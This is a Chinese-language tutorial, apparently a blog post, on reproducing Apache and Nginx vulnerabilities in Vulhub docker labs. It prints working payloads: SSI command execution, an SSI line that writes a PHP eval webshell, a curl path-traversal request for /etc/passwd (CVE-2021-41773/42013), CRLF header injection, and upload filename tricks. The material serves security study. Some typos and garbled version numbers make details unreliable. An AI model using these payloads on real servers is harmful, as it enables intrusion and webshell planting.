1 搭建
Vulhub是一个基于docker
和docker-compose
的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。
安装 docker 和 docker-compose 后即可开始使用Vulhub。(推荐使用kali操作系统)
也可以参考官方文档:Vulhub - Docker-Compose file for vulnerability environment
安装命令
git clone https://github.com/vulhub/vulhub.git
cd vulhub/flask/ssti
docker-compose up -d
2 部分中间件的漏洞复现
①apache多后缀解析漏洞
漏洞原理:
apache httpd支持一个文件有多个后缀,如: shell.php.doc。在windows下,会直接根据最后的.来进行分隔,将其判定为doc文件,但是在apache中可不是这样的,apache会从后往前依次进行判别,遇到不认识的后缀,便会往前读,如果还是不认识再往前,若是都不认识,则会将该文件当成默认类型文件读取。
apache可以识别的后缀在/etc/mime.types中(前提是已经安装了apache)
漏洞条件:
1.apache必须以模块的形式运行,其他形式不行
2.在配置文件中存在: AddHandler application/x-httpd-php.php (多后缀中只要出现php就会将 文件当作php来执行)
3.没有修改文件名 (shell.php.png => 2834618234284.png)
漏洞复现:
进入靶场(官网有教程),点击文件上传shell,抓包修改文件名为shell.php.png,然后访问该文 件目录,显示出了phpinfo();的信息,结束(因为上传的php文件作用就是显示phpinfo())
②apache换行解析漏洞
漏洞原理:
在2.4.0-2.4.29版本中存在一个解析漏洞,在解析PHP时,shell.php\x0A将被按照PHP后缀进 行解析,导致统过一些服务器的安全策略。
漏洞条件:
1 只要版本是这个范围内就行
2 没有修改文件名(如上)
漏洞复现:
上传shell.php,然后抓包修改十六进制,在后缀后面加上十六进制的换行符0A
ps:burp的Hex包其实很好理解,一个十六进制代表一个符号或字母
以此来绕过黑名单,访问路径时在后缀后面加上%0a,成功出现phpinfo(),结束
ps:%0a是url编码的换行
③apache的ssi-rce漏洞
漏洞原理:
SSI是英文Server Side lncludes的缩写,翻译成中文就是服务器端包含的意思。从技术角度上说,SSI就是在HTML文件中,可以通过注程行调用的命令或指针。SSI具有强大的功能,只要使用一条简单的SSI 命令就可以实现整个网站的内容更新,时间和日期的动态显示,以及执行shell和CGI脚本程序等复杂的功能。SSI可以称得上是那些资金短缺、时间紧张、工作量大的网站开发人员的最佳帮手。
在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SS与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id”-->语法执行任意命令.该漏洞和apache版本和php版本无关,属于用户配置不当造成的解析漏洞
漏洞条件:
1 没有关闭相应的配置
2 没有禁用或转义<!--#>等注释字符
漏洞复现
上传shtml文件绕过黑名单,然后文件内容(payload):<!--#exec cmd="echo /ect/passwd" -->
访问文件目录,显示出了操作系统的账户和密码,成功
写马:<!--#exec cmd="echo '<?php eval($_REQUEST[6]);?>' > /var/www/html/shell.php" -->即可上传简单的一句话木马
结束
④apache路径穿越漏洞
漏洞原理
Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。Apache官方在2.4.50版本中对2.4.49版本中出现的目录穿越漏洞CVE-2021.41773进行了修复,但这个修复是不完整的,CVE-2021-42013是对补丁的绕过
攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cai或caid的服务器上执行任意命令
这个漏洞可以影响Apache HTTP Server 2.449以及2.4.50两个版本
攻击者利用/xx/.%2e/逃过了ap_normalize_path函数的检测,最终 url_path 传递给了ap_unescape_url进行url解码,解码变成/xx/../导致目录穿越。
漏洞条件:
版本号为2.449以及2.4.50两个版本
漏洞复现
curl -v --path-as-is http://yourip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%3 2%65/.%%32%65/etc/passwd
⑤nginx的文件名逻辑漏洞复现
漏洞原理
漏洞条件 :
版本号为0.8.41-1.4.3/1.5.0-1.5.7
漏洞复现
payload:首先上传文件名为:shell.gif的图片马,然后抓包在文件名后缀加0x20(在十六进制Hex文件里面加),然后上传.上传以后访问shell.gifaa.php,然后抓包在十六进制里修改aa为2000,第一个20得目的是访问原文件的空格,第二个00的目的是截断,然后出现phpinfo,成功
⑥ nginx配置不当CRLF漏洞
关于CRLF漏洞可以参考这位大神的文章:
CRLF注入漏洞(响应截断)攻击实战_crlf漏洞_归去来兮-zangcc的博客-CSDN博客
漏洞原理
Nginx会将$uri进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞
漏洞条件:
配置不当
漏洞复现
payload:http://ip:8080/%0a%0dSet-Cookie:%20name=hsi
说明注入成功,结束
⑦nginx配置不当目录穿越漏洞
漏洞原理
Nginx在配置别名 (Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞错误的配置文件示 例 (原本的目的是为了让用户访问到/home/目录下的文件):
漏洞条件
配置不当
漏洞复现
直接访问/files../跳出当前目录,结束
⑧nginx配置不当add_header被覆盖
漏洞原理:
这里需要说一个概念:CSP-预防XSS漏洞的一个内容安全策略
Nginx配置文件子块 (server、location、if) 中的add header,将会覆盖父块中的add header添 加的HTTP头,造成一些安全隐患
漏洞条件:
配置不当
漏洞复现
抓包
结束
⑨